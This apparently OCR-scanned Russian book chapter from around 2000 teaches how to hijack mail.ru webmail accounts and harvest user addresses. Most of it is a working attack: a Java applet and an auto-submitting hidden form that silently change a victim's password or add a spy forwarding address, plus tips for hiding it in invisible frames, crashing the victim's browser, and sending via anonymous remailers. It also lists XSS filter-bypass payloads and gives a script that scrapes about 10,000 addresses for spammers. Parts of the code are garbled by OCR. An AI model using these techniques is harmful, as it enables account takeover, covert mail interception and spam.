На главную | Содержание | Назад | Вперёд
Наши друзья

 

 

И как же ломают почту?


На форуме hackzone.ru часто появляются запросы вида «Как сломать почтовый ящик на mail.xxx?». Эта глава будет также полезна пользователям, решившим оценить свою почтовую систему.
В последнее время значительную популярность обрели почто­вые системы на основе WWW-интерфейса (www.hotmail.com, www.mail.com, www.netscape.net в России — www.mail.ru). Web-почту «местного значения» также предлагают провайдеры, работающие по схемам «Интернет-Кард» или «Интернет-в-кредит». Сторонники по­добных систем обычно заявляют о простоте и удобстве пользования, при большей безопасности, ссылаясь на огромное колличество виру-
сов и печальный пример MS Outlook и MS Outlook Express 5.
Первые два аргумента, похоже, соответствуют действительнос­ти, а о безопасности поговорим чуть ниже.
В главе будет рассмотрен один из вариантов технического под­хода к вскрытию почтового ящика, основанного на совместном ис­пользовании недоработок современных браузеров, принципиальных недостатках CGI и ошибках в политике безопасности почтовых служб. Именно он чаще всего применяется в атаках на Web-почту. Для «кон­кретности» будет описан автором метод «захвата» или «подслушивания» пользователя популярной в России системы mail.ru
и способ защиты.
«Социальная инженерия» как вид взлома (сравнимый по эффек­тивности) рассматриваться не будет просто потому, что она детально рассмотрена в главах других авторов
Существуют, конечно, и другие методы, возможно, лучшие, чем описанный ниже.
Принципиальные недостатки безопасности WWW-почты
Надежность обычной почтовой программы определяется (без) грамотностью ее написания.
Браузер же как система прочтения почты изначально недоста­точно безопасен, поэтому создатели почты вынуждены налагать огра­ничения на теги, используемые в письмах (<script ...>, <iframe> и т.д.). Как правило, встроенный фильтр просто удаляет «небезопасные», с его точки зрения, инструкции. Принципиальных недостатков у подоб­ного подхода два:
1. слишком строгие фильтры могут повредить само письмо;
трудно предугадать заранее, на что способна безопасная с виду конструкция.
Тем не менее, именно на фильтрации основаны большинство су­ществующих почтовых систем.
Самый же уязвимый элемент — это способ задания пользова­тельских настроек и пароля. Они, как правило, задаются с помощью CGI-форм (как наиболее распространенного стандарта) по тем же ка­налам, что используются для работы с почтой, и могут быть вызваны любым членом сети, сумевшим подделать ip и cookies пользователя, или (что гораздо проще) временно захватившим контроль над браузе­ром.
Технологии атаки
Итак, вы решили перехватить контроль у пользователя хххх поч­товой системы с Web-интерфейсом, например, yyyy.zz. Только убеди­тесь, что он действительно пользуется Web-интерфейсом, а не читает почту через рорЗ-сервер или пользуется форвардингом.
Заводим почтовый ящик на этом же сервере и в первую очередь смотрим, как задаются и изменяются пароль и прочие настройки. На mail.ru (и многих других) это делает обычная форма, результаты за­полнения которой передаются в
fy
Для идентификации пользователя, похоже, используется скры­тое поле
<input type=»hidden» name=»Username» value-»intstl»> Вам предоставляется возможность изменить:
— имя пользователя;
<input type-»text» naine-»RcalName» value-»PUPKIN»>
адрес пересылки и возможность сохранения почты при
этом;
<inputtype-»text» name-»Forward> value=»..» <input type-checkbox name=»Flags.DoNotKeepMail» >
- пароль;
<input type-»password» name-s-Passwords
value=»************ ****»>
<input
value-!»****************»5>
Попробуем сформировать соответствующий файл, задав в скры­том поле имя интересующего нас пользователя и отослать форму, т. к. CGI, увы, не проверяет место нахождения формы-запроса.
<form method-post
action=»http://koi.mail.ru/cgi-bin/modiryuser?modify»>
Не получилось. Быть может, в интересующей вас системе этого окажется достаточно, а в mail.ru такие шутки не проходят. Значит,
пользователь идентифицируется с помощью cookies или, хуже того, ip. Пробуем вручную отредактировать cookies — результат тот же. Следо­вательно, эту форму должен отослать сам пользователь. Наиболее простой способ захвата контроля над браузером — внедрение <script> и &{ ... } конструкций в письмо — давно уже пресечен с помощью фильтров почти всеми, и mail.ru в том числе. Тем не менее попробуйте, чем черт не шутит. Если теги разрешены, то фильтрация самого javascript иногда может быть обойдена при помощи средств динамиче­ской генерации кода.
Неплохой результат иногда дают конструкции вида
<тег [XX]SRC=. . .>, например, <IMAGE
LoSrc=»javascript...». . .> ,   <IFRAME SCR=»about: <script...>   ..,»> для  IE и  <ilayer src=»mocha: . . . »>
для   NC.
(«mocha» - это старый, всеми позабытый аналог модификатора «javascript», сохранившийся в NC).
Вообще, чем реже используется тот или иной тег, тем больше ве­роятность, что разработчики забыли его отфильтровать... Недостаток
этого подхода в том, что требуется знать тип и версию используемого
браузера.
К сожалению (вернее к счастью), у программистов mail.ru па­мять хорошая. В конце концов это их и подвело. Наверное, они (да и не только они, похоже) читали «умные» книжки, запомнив, что Java -
одна из самых безопасных технологий в сети. Поэтому и разрешили
тег <Applet...>.
В стандарте Java есть класс AppletContext позволяю­щий нам открывать новые окна или менять текущие.
URL myURL=new URL(«htt?: . . .eciirprofil.html»; ; getAppletContext().showDocument(myURL,»_self»); getAppletContext().showDocument(myURL,»newwin»).
На любой общедоступной страничке размещаем файл editpro-
fil.html (содержащий требуемую форму), прописываем к нему путь в апплете, который размещаем там же и высылаем пользователю пись­мо, содержащее вызов апплета. Этот экс плоит не зависит от браузера, одинаково «хорошо» работая в IE и NC. (Не забудьте отредактировать _ПУТЬ_).
<applet
code=readr.class
name=readrie
codebase=»_nYTb_/»
width=320
heiaht=24 0 >
<B>  SET Java On</B>
</applet>
readr.java
(не забудьте отредактировать _ПУТЬ_) import java . applet .*; import  j ava.awt.*;
import
public  class   readrie  extends Applet
{
■  public void paint (Graphics g)
{   try {
URL myURL=new URL («_nyTb_editprofil . html») ; getAppletContext () . showDocument (myURL,»_self») ; }   catch   (Exception e) { g. drawstring («Еггог», 10, } } }
editprofil.html
(не забудьте отредактировать ИМЯ_ПОЛЬЗОВАТЕЛЯ и НО-ВЫЙ_ПАРОЛЬ)
<html> <body>
<form
bin/modifyuser?modify»>
<input value=»
ЗОВАТЕЛЯ «>
<input type=»text» name=»RealName» value=»A. V. Komlni»>
<input type=»text» value=»»>
<input type=»password» name=»Password» value=» H0-ВЫЙ_ПАРОЛЬ «>
<input type=»password» name=»Password_Verifу» value=» НОВЫЙ_ПАРОЛЬ «>
<input >
He  сохранять  почту при пересылке<Ьг>
<input <input
type=»reset» value=»BoccTaHOBMTb»>
</form>
<SCRIPT   LANGUAGE=»JavaScript»>
document.forms[0].submit();
</script>
</body>
</html>
Письмо можно сформировать просто присоединением (attach) HTML-файла (в Netscape Messenger, например), содержащего необхо­димые теги.
Присоединенный в Messenger'e HTML-файл mail.ru откроет ав­томатически.
Как только абонент попытается прочитать письмо, выполнится апплет, и через несколько секунд форма будет отослана от имени жертвы. Вот, в принципе, и все. Пользователю присвоен новый пароль. Если мы хотим «просто подслушивать» пользователя, в значение по­лей Password необходимо внести 16 звездочек, а в поле Forward — ку­да отсылать копии. Это довольно рискованный вариант: пользователь может случайно заглянуть в настройки и заметить адрес.
<input type=»text» name=»Forward» value=»spy_addr@xxxx.zz»>
<input type=»password» name=»Password» я ue—***************»*»>
<input         type=»password» name=»Password_Verify»
Макияж...
He стоит, конечно, проводить всю эту процедуру перед глазами пользователя (может, он еще не отключил подтверждение на отправку форм или успеет разглядеть и запомнить новый пароль).
Разумнее переадресовать апплет на какой-нибудь файл, содер­жащий frameset.
<FRAMESET COLS=»99%,1%»>
<FRAME SRC=»zastavka.html» NAME=»vl»>
<FRAME SRC=»editprofile.html» NAME-»wl»> ,
где zastavka маскирует письмо под безобидную рекламу или дружес­кое письмо, a editprofileвыполняется в невидимом фрейме. По оконча­нии смены паролей лучше сымитировать сбой, т. к. в течение сеанса пользователь может исправить пароль. В IE под Win 95/98, например, достаточно выполнить скрипт
open(«javascript:open(window.location)»),
приводящий к бесконечному размножению окон, требующему переза­грузки. Само письмо лучше отослать (на случай неудачи) от аноним­ной службы рассылки писем. На 06.01.2000 г. пример еще работал. Ис­ходники на www.chat.ru/-avkvladru/mail/. Защититься от этой атаки, как всегда, просто. Отключить Java, а лучше отказаться от использова­ния Web-интерфейсов. Тот же mail.ru предлагает и форвардинг и рор-сервера. Экономия на настройке приносит проблемы с безопасностью не только администраторам больших сетей, поверьте. Составляем список абонентов сервера
Заветной мечтой всех спамеров мира является список (база)
абонентов.
Недаром в их среде постоянно ходят слухи о каких-то почтовых серверах, поддерживающих команду finger... Также пару дней назад на форуме видел очередной крик души, если таковая еще жива:
«Нужна база е-мейлов по заграничным и Московским сайтам $$$ - Вася 02:53:36 06/1/2000 (0)»
Нередко почтовые Web-серверы могут «бесплатно» пред­ставить подобную информацию. Метод ее получения доволь­но прост. При легальной работе с почтовым ящиком запоми­наем адреса CGI-скриптов, ответственных за смену и чтение параметров пользователей. Потом вызываем их без парамет­ров (форм). Вполне вероятны ошибки в скриптах, при которых они отработают с последними занесенными (или использую­щимися в текущий момент) именами пользователей. Конеч­но, шансов на то, что параметры можно изменить, нулевые, а вот сообщение об ошибке доступа вполне может содержать имя пользователя, как это происходит на mail.ru.
При обращении к тому же fyuser?modify* выдается сообщение вида: Ошибка! Недопустимый объект гиперссылки.
Настройки  пользователя mnebojsa@mail.ru Ошибка. Не заполнены необходимые
При следующем обращении «сдастся» следующий пользователь или если таковых не окажется. Осталось исследовать внутрен-
нюю структуру ответа да написать программу, повторяющую подоб­ные запросы и фильтрующую ответ в поисках нужной информации. Лучше запускать ее в часы пик.
httpi//www,chat,ru/~avkvladru/mall/getname.; ava
import java.io.*; import java.net.*; import java.util.*;
public class getname {
public static void main(String args[]) {
String nextline;
try
{
URL mailserv= new URL(«http://koi.mail.ru/cgi-bin/modifyuser?modify»);
for   (int i-l;i<=10000;i++)
{
DatalnputStream input = new DatalnputStream ( mailserv.openConnection().getlnputStream() ) ; nextline=input.readLine(); nextline=input.readLine() ; nextline=input.readLine(); //
Нужный нам адрес — в третьей строке выходного документа System.out.println( nextline);
input.close (); j
j
ioe)
System.out.println(ioe.toString()); )
)
};
Вызовы команд вида ( в среде D К)
:javacgetname.java — компилируем файл
:java getname > userlist.txt
занесут в файл userlist.txt примерно 10000 e-mail адресов.
Теперь больной манией величия «хаксор» вполне может создать программу, автоматически рассылающую письма-ловушки, отбираю­щие почтовые ящики, практичный спаммер — рекламу, а конкуренты -сообщение вида: «бесплатный сервис mail.ru будет с начала месяца прекращен, воспользуйтесь Ошибка! Недопустимый объект гиперссылки. или все вместе. С уважением A.V. Komlin avkvladru@netscape.net.
Иллюстрация
Рабочий пример по захвату ящика находится в почтовом боксе intst2 сервера www.mail.ru. Паролем является комбинация из шести единиц «111111» или двоек «222222»: попробуйте обе.
В (Входящих) находятся два письма:
От Дата Размер Тема
1 AVKJan 07 1К change pass to 11 111 1
2 AVK Jan 07 IK change pass to 222222
Когда вы открываете любое из писем, оно автоматически меняет пароль бокса на указанный в «Теме» (111111 или 222222, соответст­венно). Для наглядности пример приведен без макияжа (маскировки). Пожалуйста, перед запуском убедитесь, что у вас включены cookies (они необходимы для корректной работы почтового сервера) и работа­ет JVMQava). PLS, не меняйте и не портьте почтовый ящик. Если при­мер не работает — скорее всего персонал mail.ru, получив извещение, устранил ошибку.
Сообщите об этом на hackzone.
Уважаемые читатели, к сожалению, пример постоянно портят (зачем-то стирают, меняют пароль), а из-за разницы времен мне труд­но его оперативно исправлять.
За адресом примера, если есть желание проверить, обращайтесь ко мне на e-mail. Все файлы, необходимые для создания своего экс­плойта лежат на www.chat.ru/-avkvladru/mail/. При проверке вам достаточно приаттачить файл readrl I l.hlnil к письму, выслать его на свой почтовый ящик mail.ru и прочитать письмо. Пароль изменится на 111111. Внимание, пример для наглядности без макияжа (маскиров­ки).
10.01.2000. Дополнение
Mail.ru устранил ошибку. Надо признать, оперативно. На­верное, даже слишком, забыв, что в IE апплеты можно вы­звать и тегом «object», который пока разрешен. Конечно, син-такс вызова чуть другой, но это не проблема. Так что завтра работу придется повторить. А у читателей еще есть время по­пробовать. Большое спасибо всем, кто откликнулся на ста­тью. Увы, примеры на mail.ru были практически недоступны, т. к. их постоянно стирали, причем отнюдь не администрато­ры mail.ru. Вот пример диалога с форума:
new
Народ, ну не стирайте примеры к главе на mail.ru. Для Вас же сделано. Уважайте чужой труд и своих коллег.
- AVK 12:54:29 09/1/2000 (5) new
А ты напиши ВСЕ, КАК восстанавливаешь смененный пароль, если я к ящику даже не притрагиваюсь. Может, и перестану... . Гыы... -Любопытный 13:17:38 09/1/2000 (4)
new
Да-а, таблетки от жадности надо пить. Да побольше, побольше!
- AVK 13:23:20 09/1/2000 (2) 22.01.2000
Дополнение - 2
В настоящее время все конкретные ошибки в mail.ru
устранены, но, уверяю вас, они действительно а не плод
моего больного воображения.
Комментарий hackzone: это могу подтвердить и я, могут и авто­ры восторженных писем в форуме в первые дни после
В заключение — ответы на некоторые интересные вопросы, кото­рые позволят яснее выразить смысл данной статьи. Возможно, я силь­но увлекся примерами в ущерб главной мысли.
Еще диалоги из форума «клуба hackzone*
Отправитель: REAn, January 13, 2000, 14:59:03 /195.133.82.ххх/:
> И много ли найдется почт, где не спрашивают старый пароль при установке >нового.
Увы, много. Да и необязательно менять пароль (нередко защи-
щённый), достаточно изменить адрес форвардинга, секретный вопрос или резервный e-mail, которые крайне редко защищены. Тут и hot-mail.com, увы, не исключение.
> да еще разрешены зловредные апплеты?
Не в конкретном дело, хотя авторам почтовой WEB-систе-мы их всех быстро не выловить (есть ведь и недокументированные) без существенного ущерба для приходящих писем. В конце концов, можно просто дать в письме ссылку на якобы интересную страничку
(которая содержит ловушку), и пользователь, щелкнувший по ссылке во время сеанса (или открывший ее в новом окне, как большинство из
нас делает), рискует остаться без почтового ящика, практически незави­симо от типа службы (hotmail.com, netscape.net, webber.com и т. д.).
Скажите, многие Web-интерфейсы предупреждали вас, что нель­зя открывать другие сайты во время чтения писем?
Проблема в том, что отсылка настроек при помощи форм опасна в принципе. Даже проверку местонахождения формы нетрудно обойти.
Из почты -
Отправитель: РомаМ.
>-Не считаете же Вы возможным отказываться от исполь­зования новой идеи >потому, что она >небезопасна. Так бы и СЕТИ не  было.   Может,   чем >подставлять тысячи
пользователей mail.ru, стоило придумать, как упростить
>им жизнь = А безопасные средства коммуникации рано или поздно появятся.
С рабочими похоже, погорячился. С другой сторо-
ны, кто бы эту статью читать стал?
А безопасные средства уже давно Например, тот же Java. Что стоит написать на нем пользовательский ин­терфейс для тех пользователей, которые желают безопасно­сти и анонимности. Ведь, по сути, нашу почту читают все, ко­му не лень — от администраторов до провайдеров. Java дает прекрасные возможности отказаться от средств CGI и шифро­вать пересылаемую информацию, благодаря чему несанкци­онированная отсылка реэтов или подмена апплета пресекает­ся в принципе средствами браузера, т.к. JA разрешено связы­ваться только с сервером, откуда он пришел. Разместить же свой код на почтовом сервере злоумышленнику вряд ли удастся.
SOT примерная реализация
Пользователь загружает апплет.
Пользуясь открытым ключом, тот высылает уникальный (на данный сеанс) случайный ключ и в дальнейшем весь обмен (включая логин и пароль пользователя) идет в зашифрованном, симметричном крпптоалгорптмиом виде.
Никто, ни провайдер, ни администратор, ни пресловутое ФСБ не смогут установить даже логин пользователя.
При желании можно (пользуясь возможностями Netscape
LiveConnect, частичная поддержка которого уже введена и в IE) просматривать письма и в HTML-формате. И теги /скрипты/объекты в них можно разрешить, не так ли? Подделать аутентификацию теперь вряд ли возможно.

 

На главную | Содержание | Назад | Вперёд
 
Яндекс.Метрика